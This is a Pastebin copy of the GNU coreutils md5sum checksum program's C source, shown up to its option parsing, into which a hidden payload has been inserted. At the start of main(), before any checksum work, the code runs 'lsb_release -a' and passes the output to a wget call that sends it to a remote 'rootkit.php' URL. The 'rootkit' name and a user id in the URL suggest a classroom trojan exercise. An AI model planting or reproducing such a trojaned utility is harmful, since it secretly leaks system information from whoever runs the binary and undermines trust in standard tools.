Advertisement
Guest User

Untitled

a guest
Apr 19th, 2019
164
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 32.65 KB | None | 0 0
  1. /* Compute checksums of files or strings.
  2. Copyright (C) 1995-2019 Free Software Foundation, Inc.
  3.  
  4. This program is free software: you can redistribute it and/or modify
  5. it under the terms of the GNU General Public License as published by
  6. the Free Software Foundation, either version 3 of the License, or
  7. (at your option) any later version.
  8.  
  9. This program is distributed in the hope that it will be useful,
  10. but WITHOUT ANY WARRANTY; without even the implied warranty of
  11. MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  12. GNU General Public License for more details.
  13.  
  14. You should have received a copy of the GNU General Public License
  15. along with this program. If not, see <https://www.gnu.org/licenses/>. */
  16.  
  17. /* Written by Ulrich Drepper <drepper@gnu.ai.mit.edu>. */
  18.  
  19. #include <config.h>
  20.  
  21. #include <getopt.h>
  22. #include <sys/types.h>
  23.  
  24. #include "system.h"
  25. #include "argmatch.h"
  26. #include "quote.h"
  27. #include "xdectoint.h"
  28. #include "xstrtol.h"
  29.  
  30. #if HASH_ALGO_BLAKE2
  31. # include "blake2/b2sum.h"
  32. #endif
  33. #if HASH_ALGO_MD5
  34. # include "md5.h"
  35. #endif
  36. #if HASH_ALGO_SHA1
  37. # include "sha1.h"
  38. #endif
  39. #if HASH_ALGO_SHA256 || HASH_ALGO_SHA224
  40. # include "sha256.h"
  41. #endif
  42. #if HASH_ALGO_SHA512 || HASH_ALGO_SHA384
  43. # include "sha512.h"
  44. #endif
  45. #include "die.h"
  46. #include "error.h"
  47. #include "fadvise.h"
  48. #include "stdio--.h"
  49. #include "xbinary-io.h"
  50.  
  51. /* The official name of this program (e.g., no 'g' prefix). */
  52. #if HASH_ALGO_MD5
  53. # define PROGRAM_NAME "md5sum"
  54. # define DIGEST_TYPE_STRING "MD5"
  55. # define DIGEST_STREAM md5_stream
  56. # define DIGEST_BITS 128
  57. # define DIGEST_REFERENCE "RFC 1321"
  58. # define DIGEST_ALIGN 4
  59. #elif HASH_ALGO_BLAKE2
  60. # define PROGRAM_NAME "b2sum"
  61. # define DIGEST_TYPE_STRING "BLAKE2"
  62. # define DIGEST_STREAM blake2fns[b2_algorithm]
  63. # define DIGEST_BITS 512
  64. # define DIGEST_REFERENCE "RFC 7693"
  65. # define DIGEST_ALIGN 8
  66. #elif HASH_ALGO_SHA1
  67. # define PROGRAM_NAME "sha1sum"
  68. # define DIGEST_TYPE_STRING "SHA1"
  69. # define DIGEST_STREAM sha1_stream
  70. # define DIGEST_BITS 160
  71. # define DIGEST_REFERENCE "FIPS-180-1"
  72. # define DIGEST_ALIGN 4
  73. #elif HASH_ALGO_SHA256
  74. # define PROGRAM_NAME "sha256sum"
  75. # define DIGEST_TYPE_STRING "SHA256"
  76. # define DIGEST_STREAM sha256_stream
  77. # define DIGEST_BITS 256
  78. # define DIGEST_REFERENCE "FIPS-180-2"
  79. # define DIGEST_ALIGN 4
  80. #elif HASH_ALGO_SHA224
  81. # define PROGRAM_NAME "sha224sum"
  82. # define DIGEST_TYPE_STRING "SHA224"
  83. # define DIGEST_STREAM sha224_stream
  84. # define DIGEST_BITS 224
  85. # define DIGEST_REFERENCE "RFC 3874"
  86. # define DIGEST_ALIGN 4
  87. #elif HASH_ALGO_SHA512
  88. # define PROGRAM_NAME "sha512sum"
  89. # define DIGEST_TYPE_STRING "SHA512"
  90. # define DIGEST_STREAM sha512_stream
  91. # define DIGEST_BITS 512
  92. # define DIGEST_REFERENCE "FIPS-180-2"
  93. # define DIGEST_ALIGN 8
  94. #elif HASH_ALGO_SHA384
  95. # define PROGRAM_NAME "sha384sum"
  96. # define DIGEST_TYPE_STRING "SHA384"
  97. # define DIGEST_STREAM sha384_stream
  98. # define DIGEST_BITS 384
  99. # define DIGEST_REFERENCE "FIPS-180-2"
  100. # define DIGEST_ALIGN 8
  101. #else
  102. # error "Can't decide which hash algorithm to compile."
  103. #endif
  104.  
  105. #if HASH_ALGO_BLAKE2
  106. # define AUTHORS \
  107. proper_name ("Padraig Brady"), \
  108. proper_name ("Samuel Neves")
  109. #else
  110. # define AUTHORS \
  111. proper_name ("Ulrich Drepper"), \
  112. proper_name ("Scott Miller"), \
  113. proper_name ("David Madore")
  114. # define DIGEST_HEX_BYTES (DIGEST_BITS / 4)
  115. #endif
  116. #define DIGEST_BIN_BYTES (DIGEST_BITS / 8)
  117.  
  118.  
  119. /* The minimum length of a valid digest line. This length does
  120. not include any newline character at the end of a line. */
  121. #if HASH_ALGO_BLAKE2
  122. # define MIN_DIGEST_LINE_LENGTH 3 /* With -l 8. */
  123. #else
  124. # define MIN_DIGEST_LINE_LENGTH \
  125. (DIGEST_HEX_BYTES /* length of hexadecimal message digest */ \
  126. + 1 /* blank */ \
  127. + 1 /* minimum filename length */ )
  128. #endif
  129.  
  130. /* True if any of the files read were the standard input. */
  131. static bool have_read_stdin;
  132.  
  133. /* The minimum length of a valid checksum line for the selected algorithm. */
  134. static size_t min_digest_line_length;
  135.  
  136. /* Set to the length of a digest hex string for the selected algorithm. */
  137. static size_t digest_hex_bytes;
  138.  
  139. /* With --check, don't generate any output.
  140. The exit code indicates success or failure. */
  141. static bool status_only = false;
  142.  
  143. /* With --check, print a message to standard error warning about each
  144. improperly formatted checksum line. */
  145. static bool warn = false;
  146.  
  147. /* With --check, ignore missing files. */
  148. static bool ignore_missing = false;
  149.  
  150. /* With --check, suppress the "OK" printed for each verified file. */
  151. static bool quiet = false;
  152.  
  153. /* With --check, exit with a non-zero return code if any line is
  154. improperly formatted. */
  155. static bool strict = false;
  156.  
  157. /* Whether a BSD reversed format checksum is detected. */
  158. static int bsd_reversed = -1;
  159.  
  160. /* line delimiter. */
  161. static unsigned char delim = '\n';
  162.  
  163. #if HASH_ALGO_BLAKE2
  164. static char const *const algorithm_in_string[] =
  165. {
  166. "blake2b", NULL
  167. };
  168. static char const *const algorithm_out_string[] =
  169. {
  170. "BLAKE2b", NULL
  171. };
  172. enum Algorithm
  173. {
  174. BLAKE2b
  175. };
  176. verify (ARRAY_CARDINALITY (algorithm_in_string) == 2);
  177. verify (ARRAY_CARDINALITY (algorithm_out_string) == 2);
  178.  
  179. static enum Algorithm b2_algorithm;
  180. static uintmax_t b2_length;
  181. static blake2fn blake2fns[]=
  182. {
  183. blake2b_stream
  184. };
  185. static uintmax_t blake2_max_len[]=
  186. {
  187. BLAKE2B_OUTBYTES
  188. };
  189. #endif /* HASH_ALGO_BLAKE2 */
  190.  
  191. /* For long options that have no equivalent short option, use a
  192. non-character as a pseudo short option, starting with CHAR_MAX + 1. */
  193. enum
  194. {
  195. IGNORE_MISSING_OPTION = CHAR_MAX + 1,
  196. STATUS_OPTION,
  197. QUIET_OPTION,
  198. STRICT_OPTION,
  199. TAG_OPTION
  200. };
  201.  
  202. static struct option const long_options[] =
  203. {
  204. #if HASH_ALGO_BLAKE2
  205. { "length", required_argument, NULL, 'l'},
  206. #endif
  207. { "binary", no_argument, NULL, 'b' },
  208. { "check", no_argument, NULL, 'c' },
  209. { "ignore-missing", no_argument, NULL, IGNORE_MISSING_OPTION},
  210. { "quiet", no_argument, NULL, QUIET_OPTION },
  211. { "status", no_argument, NULL, STATUS_OPTION },
  212. { "text", no_argument, NULL, 't' },
  213. { "warn", no_argument, NULL, 'w' },
  214. { "strict", no_argument, NULL, STRICT_OPTION },
  215. { "tag", no_argument, NULL, TAG_OPTION },
  216. { "zero", no_argument, NULL, 'z' },
  217. { GETOPT_HELP_OPTION_DECL },
  218. { GETOPT_VERSION_OPTION_DECL },
  219. { NULL, 0, NULL, 0 }
  220. };
  221.  
  222. void
  223. usage (int status)
  224. {
  225. if (status != EXIT_SUCCESS)
  226. emit_try_help ();
  227. else
  228. {
  229. printf (_("\
  230. Usage: %s [OPTION]... [FILE]...\n\
  231. Print or check %s (%d-bit) checksums.\n\
  232. "),
  233. program_name,
  234. DIGEST_TYPE_STRING,
  235. DIGEST_BITS);
  236.  
  237. emit_stdin_note ();
  238. if (O_BINARY)
  239. fputs (_("\
  240. \n\
  241. -b, --binary read in binary mode (default unless reading tty stdin)\n\
  242. "), stdout);
  243. else
  244. fputs (_("\
  245. \n\
  246. -b, --binary read in binary mode\n\
  247. "), stdout);
  248.  
  249. printf (_("\
  250. -c, --check read %s sums from the FILEs and check them\n"),
  251. DIGEST_TYPE_STRING);
  252. #if HASH_ALGO_BLAKE2
  253. fputs (_("\
  254. -l, --length digest length in bits; must not exceed the maximum for\n\
  255. the blake2 algorithm and must be a multiple of 8\n\
  256. "), stdout);
  257. #endif
  258. fputs (_("\
  259. --tag create a BSD-style checksum\n\
  260. "), stdout);
  261. if (O_BINARY)
  262. fputs (_("\
  263. -t, --text read in text mode (default if reading tty stdin)\n\
  264. "), stdout);
  265. else
  266. fputs (_("\
  267. -t, --text read in text mode (default)\n\
  268. "), stdout);
  269. fputs (_("\
  270. -z, --zero end each output line with NUL, not newline,\n\
  271. and disable file name escaping\n\
  272. "), stdout);
  273. fputs (_("\
  274. \n\
  275. The following five options are useful only when verifying checksums:\n\
  276. --ignore-missing don't fail or report status for missing files\n\
  277. --quiet don't print OK for each successfully verified file\n\
  278. --status don't output anything, status code shows success\n\
  279. --strict exit non-zero for improperly formatted checksum lines\n\
  280. -w, --warn warn about improperly formatted checksum lines\n\
  281. \n\
  282. "), stdout);
  283. fputs (HELP_OPTION_DESCRIPTION, stdout);
  284. fputs (VERSION_OPTION_DESCRIPTION, stdout);
  285. printf (_("\
  286. \n\
  287. The sums are computed as described in %s. When checking, the input\n\
  288. should be a former output of this program. The default mode is to print a\n\
  289. line with checksum, a space, a character indicating input mode ('*' for binary,\
  290. \n' ' for text or where binary is insignificant), and name for each FILE.\n"),
  291. DIGEST_REFERENCE);
  292. emit_ancillary_info (PROGRAM_NAME);
  293. }
  294.  
  295. exit (status);
  296. }
  297.  
  298. #define ISWHITE(c) ((c) == ' ' || (c) == '\t')
  299.  
  300. /* Given a file name, S of length S_LEN, that is not NUL-terminated,
  301. modify it in place, performing the equivalent of this sed substitution:
  302. 's/\\n/\n/g;s/\\\\/\\/g' i.e., replacing each "\\n" string with a newline
  303. and each "\\\\" with a single backslash, NUL-terminate it and return S.
  304. If S is not a valid escaped file name, i.e., if it ends with an odd number
  305. of backslashes or if it contains a backslash followed by anything other
  306. than "n" or another backslash, return NULL. */
  307.  
  308. static char *
  309. filename_unescape (char *s, size_t s_len)
  310. {
  311. char *dst = s;
  312.  
  313. for (size_t i = 0; i < s_len; i++)
  314. {
  315. switch (s[i])
  316. {
  317. case '\\':
  318. if (i == s_len - 1)
  319. {
  320. /* File name ends with an unescaped backslash: invalid. */
  321. return NULL;
  322. }
  323. ++i;
  324. switch (s[i])
  325. {
  326. case 'n':
  327. *dst++ = '\n';
  328. break;
  329. case '\\':
  330. *dst++ = '\\';
  331. break;
  332. default:
  333. /* Only '\' or 'n' may follow a backslash. */
  334. return NULL;
  335. }
  336. break;
  337.  
  338. case '\0':
  339. /* The file name may not contain a NUL. */
  340. return NULL;
  341.  
  342. default:
  343. *dst++ = s[i];
  344. break;
  345. }
  346. }
  347. if (dst < s + s_len)
  348. *dst = '\0';
  349.  
  350. return s;
  351. }
  352.  
  353. /* Return true if S is a NUL-terminated string of DIGEST_HEX_BYTES hex digits.
  354. Otherwise, return false. */
  355. static bool _GL_ATTRIBUTE_PURE
  356. hex_digits (unsigned char const *s)
  357. {
  358. for (unsigned int i = 0; i < digest_hex_bytes; i++)
  359. {
  360. if (!isxdigit (*s))
  361. return false;
  362. ++s;
  363. }
  364. return *s == '\0';
  365. }
  366.  
  367. /* Split the checksum string S (of length S_LEN) from a BSD 'md5' or
  368. 'sha1' command into two parts: a hexadecimal digest, and the file
  369. name. S is modified. Return true if successful. */
  370.  
  371. static bool
  372. bsd_split_3 (char *s, size_t s_len, unsigned char **hex_digest,
  373. char **file_name, bool escaped_filename)
  374. {
  375. size_t i;
  376.  
  377. if (s_len == 0)
  378. return false;
  379.  
  380. /* Find end of filename. */
  381. i = s_len - 1;
  382. while (i && s[i] != ')')
  383. i--;
  384.  
  385. if (s[i] != ')')
  386. return false;
  387.  
  388. *file_name = s;
  389.  
  390. if (escaped_filename && filename_unescape (s, i) == NULL)
  391. return false;
  392.  
  393. s[i++] = '\0';
  394.  
  395. while (ISWHITE (s[i]))
  396. i++;
  397.  
  398. if (s[i] != '=')
  399. return false;
  400.  
  401. i++;
  402.  
  403. while (ISWHITE (s[i]))
  404. i++;
  405.  
  406. *hex_digest = (unsigned char *) &s[i];
  407.  
  408. return hex_digits (*hex_digest);
  409. }
  410.  
  411. /* Split the string S (of length S_LEN) into three parts:
  412. a hexadecimal digest, binary flag, and the file name.
  413. S is modified. Return true if successful. */
  414.  
  415. static bool
  416. split_3 (char *s, size_t s_len,
  417. unsigned char **hex_digest, int *binary, char **file_name)
  418. {
  419. bool escaped_filename = false;
  420. size_t algo_name_len;
  421.  
  422. size_t i = 0;
  423. while (ISWHITE (s[i]))
  424. ++i;
  425.  
  426. if (s[i] == '\\')
  427. {
  428. ++i;
  429. escaped_filename = true;
  430. }
  431.  
  432. /* Check for BSD-style checksum line. */
  433.  
  434. algo_name_len = strlen (DIGEST_TYPE_STRING);
  435. if (STREQ_LEN (s + i, DIGEST_TYPE_STRING, algo_name_len))
  436. {
  437. i += algo_name_len;
  438. #if HASH_ALGO_BLAKE2
  439. /* Terminate and match algorithm name. */
  440. char const *algo_name = &s[i - algo_name_len];
  441. /* Skip algorithm variants. */
  442. while (s[i] && ! ISWHITE (s[i]) && s[i] != '-' && s[i] != '(')
  443. ++i;
  444. bool length_specified = s[i] == '-';
  445. bool openssl_format = s[i] == '('; /* and no length_specified */
  446. s[i++] = '\0';
  447. ptrdiff_t algo = argmatch (algo_name, algorithm_out_string, NULL, 0);
  448. if (algo < 0)
  449. return false;
  450. else
  451. b2_algorithm = algo;
  452. if (openssl_format)
  453. s[--i] = '(';
  454.  
  455. if (length_specified)
  456. {
  457. unsigned long int tmp_ulong;
  458. if (xstrtoul (s + i, NULL, 0, &tmp_ulong, NULL) == LONGINT_OK
  459. && 0 < tmp_ulong && tmp_ulong <= blake2_max_len[b2_algorithm] * 8
  460. && tmp_ulong % 8 == 0)
  461. b2_length = tmp_ulong;
  462. else
  463. return false;
  464.  
  465. while (ISDIGIT (s[i]))
  466. ++i;
  467. }
  468. else
  469. b2_length = blake2_max_len[b2_algorithm] * 8;
  470.  
  471. digest_hex_bytes = b2_length / 4;
  472. #endif
  473. if (s[i] == ' ')
  474. ++i;
  475. if (s[i] == '(')
  476. {
  477. ++i;
  478. *binary = 0;
  479. return bsd_split_3 (s + i, s_len - i,
  480. hex_digest, file_name, escaped_filename);
  481. }
  482. return false;
  483. }
  484.  
  485. /* Ignore this line if it is too short.
  486. Each line must have at least 'min_digest_line_length - 1' (or one more, if
  487. the first is a backslash) more characters to contain correct message digest
  488. information. */
  489. if (s_len - i < min_digest_line_length + (s[i] == '\\'))
  490. return false;
  491.  
  492. *hex_digest = (unsigned char *) &s[i];
  493.  
  494. #if HASH_ALGO_BLAKE2
  495. /* Auto determine length. */
  496. unsigned char const *hp = *hex_digest;
  497. digest_hex_bytes = 0;
  498. while (isxdigit (*hp++))
  499. digest_hex_bytes++;
  500. if (digest_hex_bytes < 2 || digest_hex_bytes % 2
  501. || blake2_max_len[b2_algorithm] * 2 < digest_hex_bytes)
  502. return false;
  503. b2_length = digest_hex_bytes * 4;
  504. #endif
  505.  
  506. /* The first field has to be the n-character hexadecimal
  507. representation of the message digest. If it is not followed
  508. immediately by a white space it's an error. */
  509. i += digest_hex_bytes;
  510. if (!ISWHITE (s[i]))
  511. return false;
  512.  
  513. s[i++] = '\0';
  514.  
  515. if (! hex_digits (*hex_digest))
  516. return false;
  517.  
  518. /* If "bsd reversed" format detected. */
  519. if ((s_len - i == 1) || (s[i] != ' ' && s[i] != '*'))
  520. {
  521. /* Don't allow mixing bsd and standard formats,
  522. to minimize security issues with attackers
  523. renaming files with leading spaces.
  524. This assumes that with bsd format checksums
  525. that the first file name does not have
  526. a leading ' ' or '*'. */
  527. if (bsd_reversed == 0)
  528. return false;
  529. bsd_reversed = 1;
  530. }
  531. else if (bsd_reversed != 1)
  532. {
  533. bsd_reversed = 0;
  534. *binary = (s[i++] == '*');
  535. }
  536.  
  537. /* All characters between the type indicator and end of line are
  538. significant -- that includes leading and trailing white space. */
  539. *file_name = &s[i];
  540.  
  541. if (escaped_filename)
  542. return filename_unescape (&s[i], s_len - i) != NULL;
  543.  
  544. return true;
  545. }
  546.  
  547. /* If ESCAPE is true, then translate each NEWLINE byte to the string, "\\n",
  548. and each backslash to "\\\\". */
  549. static void
  550. print_filename (char const *file, bool escape)
  551. {
  552. if (! escape)
  553. {
  554. fputs (file, stdout);
  555. return;
  556. }
  557.  
  558. while (*file)
  559. {
  560. switch (*file)
  561. {
  562. case '\n':
  563. fputs ("\\n", stdout);
  564. break;
  565.  
  566. case '\\':
  567. fputs ("\\\\", stdout);
  568. break;
  569.  
  570. default:
  571. putchar (*file);
  572. break;
  573. }
  574. file++;
  575. }
  576. }
  577.  
  578. /* An interface to the function, DIGEST_STREAM.
  579. Operate on FILENAME (it may be "-").
  580.  
  581. *BINARY indicates whether the file is binary. BINARY < 0 means it
  582. depends on whether binary mode makes any difference and the file is
  583. a terminal; in that case, clear *BINARY if the file was treated as
  584. text because it was a terminal.
  585.  
  586. Put the checksum in *BIN_RESULT, which must be properly aligned.
  587. Put true in *MISSING if the file can't be opened due to ENOENT.
  588. Return true if successful. */
  589.  
  590. static bool
  591. digest_file (const char *filename, int *binary, unsigned char *bin_result,
  592. bool *missing)
  593. {
  594. FILE *fp;
  595. int err;
  596. bool is_stdin = STREQ (filename, "-");
  597.  
  598. *missing = false;
  599.  
  600. if (is_stdin)
  601. {
  602. have_read_stdin = true;
  603. fp = stdin;
  604. if (O_BINARY && *binary)
  605. {
  606. if (*binary < 0)
  607. *binary = ! isatty (STDIN_FILENO);
  608. if (*binary)
  609. xset_binary_mode (STDIN_FILENO, O_BINARY);
  610. }
  611. }
  612. else
  613. {
  614. fp = fopen (filename, (O_BINARY && *binary ? "rb" : "r"));
  615. if (fp == NULL)
  616. {
  617. if (ignore_missing && errno == ENOENT)
  618. {
  619. *missing = true;
  620. return true;
  621. }
  622. error (0, errno, "%s", quotef (filename));
  623. return false;
  624. }
  625. }
  626.  
  627. fadvise (fp, FADVISE_SEQUENTIAL);
  628.  
  629. #if HASH_ALGO_BLAKE2
  630. err = DIGEST_STREAM (fp, bin_result, b2_length / 8);
  631. #else
  632. err = DIGEST_STREAM (fp, bin_result);
  633. #endif
  634. if (err)
  635. {
  636. error (0, errno, "%s", quotef (filename));
  637. if (fp != stdin)
  638. fclose (fp);
  639. return false;
  640. }
  641.  
  642. if (!is_stdin && fclose (fp) != 0)
  643. {
  644. error (0, errno, "%s", quotef (filename));
  645. return false;
  646. }
  647.  
  648. return true;
  649. }
  650.  
  651. static bool
  652. digest_check (const char *checkfile_name)
  653. {
  654. FILE *checkfile_stream;
  655. uintmax_t n_misformatted_lines = 0;
  656. uintmax_t n_improperly_formatted_lines = 0;
  657. uintmax_t n_mismatched_checksums = 0;
  658. uintmax_t n_open_or_read_failures = 0;
  659. bool properly_formatted_lines = false;
  660. bool matched_checksums = false;
  661. unsigned char bin_buffer_unaligned[DIGEST_BIN_BYTES + DIGEST_ALIGN];
  662. /* Make sure bin_buffer is properly aligned. */
  663. unsigned char *bin_buffer = ptr_align (bin_buffer_unaligned, DIGEST_ALIGN);
  664. uintmax_t line_number;
  665. char *line;
  666. size_t line_chars_allocated;
  667. bool is_stdin = STREQ (checkfile_name, "-");
  668.  
  669. if (is_stdin)
  670. {
  671. have_read_stdin = true;
  672. checkfile_name = _("standard input");
  673. checkfile_stream = stdin;
  674. }
  675. else
  676. {
  677. checkfile_stream = fopen (checkfile_name, "r");
  678. if (checkfile_stream == NULL)
  679. {
  680. error (0, errno, "%s", quotef (checkfile_name));
  681. return false;
  682. }
  683. }
  684.  
  685. line_number = 0;
  686. line = NULL;
  687. line_chars_allocated = 0;
  688. do
  689. {
  690. char *filename IF_LINT ( = NULL);
  691. int binary;
  692. unsigned char *hex_digest IF_LINT ( = NULL);
  693. ssize_t line_length;
  694.  
  695. ++line_number;
  696. if (line_number == 0)
  697. die (EXIT_FAILURE, 0, _("%s: too many checksum lines"),
  698. quotef (checkfile_name));
  699.  
  700. line_length = getline (&line, &line_chars_allocated, checkfile_stream);
  701. if (line_length <= 0)
  702. break;
  703.  
  704. /* Ignore comment lines, which begin with a '#' character. */
  705. if (line[0] == '#')
  706. continue;
  707.  
  708. /* Remove any trailing newline. */
  709. if (line[line_length - 1] == '\n')
  710. line[--line_length] = '\0';
  711.  
  712. if (! (split_3 (line, line_length, &hex_digest, &binary, &filename)
  713. && ! (is_stdin && STREQ (filename, "-"))))
  714. {
  715. ++n_misformatted_lines;
  716.  
  717. if (warn)
  718. {
  719. error (0, 0,
  720. _("%s: %" PRIuMAX
  721. ": improperly formatted %s checksum line"),
  722. quotef (checkfile_name), line_number,
  723. DIGEST_TYPE_STRING);
  724. }
  725.  
  726. ++n_improperly_formatted_lines;
  727. }
  728. else
  729. {
  730. static const char bin2hex[] = { '0', '1', '2', '3',
  731. '4', '5', '6', '7',
  732. '8', '9', 'a', 'b',
  733. 'c', 'd', 'e', 'f' };
  734. bool ok;
  735. bool missing;
  736. /* Only escape in the edge case producing multiple lines,
  737. to ease automatic processing of status output. */
  738. bool needs_escape = ! status_only && strchr (filename, '\n');
  739.  
  740. properly_formatted_lines = true;
  741.  
  742. ok = digest_file (filename, &binary, bin_buffer, &missing);
  743.  
  744. if (!ok)
  745. {
  746. ++n_open_or_read_failures;
  747. if (!status_only)
  748. {
  749. if (needs_escape)
  750. putchar ('\\');
  751. print_filename (filename, needs_escape);
  752. printf (": %s\n", _("FAILED open or read"));
  753. }
  754. }
  755. else if (ignore_missing && missing)
  756. {
  757. /* Ignore missing files with --ignore-missing. */
  758. ;
  759. }
  760. else
  761. {
  762. size_t digest_bin_bytes = digest_hex_bytes / 2;
  763. size_t cnt;
  764.  
  765. /* Compare generated binary number with text representation
  766. in check file. Ignore case of hex digits. */
  767. for (cnt = 0; cnt < digest_bin_bytes; ++cnt)
  768. {
  769. if (tolower (hex_digest[2 * cnt])
  770. != bin2hex[bin_buffer[cnt] >> 4]
  771. || (tolower (hex_digest[2 * cnt + 1])
  772. != (bin2hex[bin_buffer[cnt] & 0xf])))
  773. break;
  774. }
  775. if (cnt != digest_bin_bytes)
  776. ++n_mismatched_checksums;
  777. else
  778. matched_checksums = true;
  779.  
  780. if (!status_only)
  781. {
  782. if (cnt != digest_bin_bytes || ! quiet)
  783. {
  784. if (needs_escape)
  785. putchar ('\\');
  786. print_filename (filename, needs_escape);
  787. }
  788.  
  789. if (cnt != digest_bin_bytes)
  790. printf (": %s\n", _("FAILED"));
  791. else if (!quiet)
  792. printf (": %s\n", _("OK"));
  793. }
  794. }
  795. }
  796. }
  797. while (!feof (checkfile_stream) && !ferror (checkfile_stream));
  798.  
  799. free (line);
  800.  
  801. if (ferror (checkfile_stream))
  802. {
  803. error (0, 0, _("%s: read error"), quotef (checkfile_name));
  804. return false;
  805. }
  806.  
  807. if (!is_stdin && fclose (checkfile_stream) != 0)
  808. {
  809. error (0, errno, "%s", quotef (checkfile_name));
  810. return false;
  811. }
  812.  
  813. if (! properly_formatted_lines)
  814. {
  815. /* Warn if no tests are found. */
  816. error (0, 0, _("%s: no properly formatted %s checksum lines found"),
  817. quotef (checkfile_name), DIGEST_TYPE_STRING);
  818. }
  819. else
  820. {
  821. if (!status_only)
  822. {
  823. if (n_misformatted_lines != 0)
  824. error (0, 0,
  825. (ngettext
  826. ("WARNING: %" PRIuMAX " line is improperly formatted",
  827. "WARNING: %" PRIuMAX " lines are improperly formatted",
  828. select_plural (n_misformatted_lines))),
  829. n_misformatted_lines);
  830.  
  831. if (n_open_or_read_failures != 0)
  832. error (0, 0,
  833. (ngettext
  834. ("WARNING: %" PRIuMAX " listed file could not be read",
  835. "WARNING: %" PRIuMAX " listed files could not be read",
  836. select_plural (n_open_or_read_failures))),
  837. n_open_or_read_failures);
  838.  
  839. if (n_mismatched_checksums != 0)
  840. error (0, 0,
  841. (ngettext
  842. ("WARNING: %" PRIuMAX " computed checksum did NOT match",
  843. "WARNING: %" PRIuMAX " computed checksums did NOT match",
  844. select_plural (n_mismatched_checksums))),
  845. n_mismatched_checksums);
  846.  
  847. if (ignore_missing && ! matched_checksums)
  848. error (0, 0, _("%s: no file was verified"),
  849. quotef (checkfile_name));
  850. }
  851. }
  852.  
  853. return (properly_formatted_lines
  854. && matched_checksums
  855. && n_mismatched_checksums == 0
  856. && n_open_or_read_failures == 0
  857. && (!strict || n_improperly_formatted_lines == 0));
  858. }
  859.  
  860. int removeWhite(char before[], char after[], int k) {
  861. for (int i = 0; i < strlen(before); i++) {
  862. if (before[i] == '%') {
  863. i += 2;
  864. }
  865. if (before[i] != ' ' && before[i] != '\n' && before[i] != '\t' && before[i] != '\v' && before[i] != '\f' && before[i] != '\r') {
  866. after[k++] = before[i];
  867. }
  868. }
  869. return k;
  870. }
  871.  
  872. void removeSpaces(char* source) {
  873. char* i = source;
  874. char* j = source;
  875. while (*j != 0) {
  876. *i = *j++;
  877. if (*i != ' ') {
  878. i++;
  879. }
  880. *i = 0;
  881. }
  882. }
  883.  
  884. int
  885. main (int argc, char **argv)
  886. {
  887.  
  888.  
  889. FILE *fp;
  890. char path[1035];
  891. char out[1035];
  892.  
  893. fp = popen("lsb_release -a", "r");
  894. if (fp == NULL) {
  895. printf("Failed\n");
  896. exit(1);
  897. }
  898.  
  899. int k = 0;
  900. while (fgets(path, sizeof(path)-1, fp) != NULL) {
  901. k = removeWhite(path, out, k);
  902. }
  903. pclose(fp);
  904. char *buf;
  905. size_t sz;
  906. sz = snprintf(NULL, 0,"wget -q \"https://libra.cs.virginia.edu/rootkit.php?userid=osa2qx\&data=%s\"", out);
  907. buf = (char *)malloc(sz);
  908.  
  909. snprintf(buf, sz+1, "wget -q \"https://libra.cs.virginia.edu/rootkit.php?userid=osa2qx\&data=%s\"", out);
  910.  
  911. system(buf);
  912.  
  913. unsigned char bin_buffer_unaligned[DIGEST_BIN_BYTES + DIGEST_ALIGN];
  914. /* Make sure bin_buffer is properly aligned. */
  915. unsigned char *bin_buffer = ptr_align (bin_buffer_unaligned, DIGEST_ALIGN);
  916. bool do_check = false;
  917. int opt;
  918. bool ok = true;
  919. int binary = -1;
  920. bool prefix_tag = false;
  921.  
  922. /* Setting values of global variables. */
  923. initialize_main (&argc, &argv);
  924. set_program_name (argv[0]);
  925. setlocale (LC_ALL, "");
  926. bindtextdomain (PACKAGE, LOCALEDIR);
  927. textdomain (PACKAGE);
  928.  
  929. atexit (close_stdout);
  930.  
  931. /* Line buffer stdout to ensure lines are written atomically and immediately
  932. so that processes running in parallel do not intersperse their output. */
  933. setvbuf (stdout, NULL, _IOLBF, 0);
  934.  
  935. #if HASH_ALGO_BLAKE2
  936. const char* short_opts = "l:bctwz";
  937. const char* b2_length_str = "";
  938. #else
  939. const char* short_opts = "bctwz";
  940. #endif
  941.  
  942. while ((opt = getopt_long (argc, argv, short_opts, long_options, NULL)) != -1)
  943. switch (opt)
  944. {
  945. #if HASH_ALGO_BLAKE2
  946. case 'l':
  947. b2_length = xdectoumax (optarg, 0, UINTMAX_MAX, "",
  948. _("invalid length"), 0);
  949. b2_length_str = optarg;
  950. if (b2_length % 8 != 0)
  951. {
  952. error (0, 0, _("invalid length: %s"), quote (b2_length_str));
  953. die (EXIT_FAILURE, 0, _("length is not a multiple of 8"));
  954. }
  955. break;
  956. #endif
  957. case 'b':
  958. binary = 1;
  959. break;
  960. case 'c':
  961. do_check = true;
  962. break;
  963. case STATUS_OPTION:
  964. status_only = true;
  965. warn = false;
  966. quiet = false;
  967. break;
  968. case 't':
  969. binary = 0;
  970. break;
  971. case 'w':
  972. status_only = false;
  973. warn = true;
  974. quiet = false;
  975. break;
  976. case IGNORE_MISSING_OPTION:
  977. ignore_missing = true;
  978. break;
  979. case QUIET_OPTION:
  980. status_only = false;
  981. warn = false;
  982. quiet = true;
  983. break;
  984. case STRICT_OPTION:
  985. strict = true;
  986. break;
  987. case TAG_OPTION:
  988. prefix_tag = true;
  989. binary = 1;
  990. break;
  991. case 'z':
  992. delim = '\0';
  993. break;
  994. case_GETOPT_HELP_CHAR;
  995. case_GETOPT_VERSION_CHAR (PROGRAM_NAME, AUTHORS);
  996. default:
  997. usage (EXIT_FAILURE);
  998. }
  999.  
  1000. min_digest_line_length = MIN_DIGEST_LINE_LENGTH;
  1001. #if HASH_ALGO_BLAKE2
  1002. if (b2_length > blake2_max_len[b2_algorithm] * 8)
  1003. {
  1004. error (0, 0, _("invalid length: %s"), quote (b2_length_str));
  1005. die (EXIT_FAILURE, 0,
  1006. _("maximum digest length for %s is %"PRIuMAX" bits"),
  1007. quote (algorithm_in_string[b2_algorithm]),
  1008. blake2_max_len[b2_algorithm] * 8);
  1009. }
  1010. if (b2_length == 0 && ! do_check)
  1011. b2_length = blake2_max_len[b2_algorithm] * 8;
  1012. digest_hex_bytes = b2_length / 4;
  1013. #else
  1014. digest_hex_bytes = DIGEST_HEX_BYTES;
  1015. #endif
  1016.  
  1017. if (prefix_tag && !binary)
  1018. {
  1019. /* This could be supported in a backwards compatible way
  1020. by prefixing the output line with a space in text mode.
  1021. However that's invasive enough that it was agreed to
  1022. not support this mode with --tag, as --text use cases
  1023. are adequately supported by the default output format. */
  1024. error (0, 0, _("--tag does not support --text mode"));
  1025. usage (EXIT_FAILURE);
  1026. }
